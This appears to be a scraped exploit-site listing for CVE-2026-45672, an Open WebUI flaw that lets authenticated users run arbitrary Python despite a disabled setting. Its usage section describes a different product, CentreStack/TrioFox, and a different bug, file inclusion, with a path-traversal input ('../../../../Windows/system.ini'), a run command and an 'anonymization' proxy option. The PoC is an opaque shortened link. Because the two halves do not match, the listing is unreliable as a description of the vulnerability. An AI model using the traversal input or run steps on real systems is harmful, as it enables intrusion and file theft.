## https://sploitus.com/exploit?id=C3B7D1E4-96DB-5CE7-92A6-AAA6AB6084FE
# CVE-2026-45672
### Overview
The Open WebUI platform, designed for offline operation, contains a security flaw allowing verified users to execute arbitrary Python code via the /api/v1/utils/code/execute endpoint, even if code execution is disabled in the configuration settings. This vulnerability is especially concerning as the feature gate enforcement is missing at the API level, which means that unauthorized actions can still occur despite explicit 'disabled' configurations. Users should upgrade to version 0.8.12 or later to mitigate this risk.
### Requirements
- Python 3.8+
- Libraries: requests, argparse (install via `pip install -r requirements.txt`)
### Usage
- Install dependencies: `pip install -r requirements.txt`
- Run the exploit: `python exploit.py --target --file "/path/to/Web.config"`
Options:
- `--target`: URL of the vulnerable CentreStack/TrioFox instance.
- `--file`: Relative path to the file to include (e.g., "../../../../Windows/system.ini" for testing).
- `--proxy`: Optional HTTP proxy for anonymization.
### PoC Exploit - [href](https://tinyurl.com/5e3mybn8)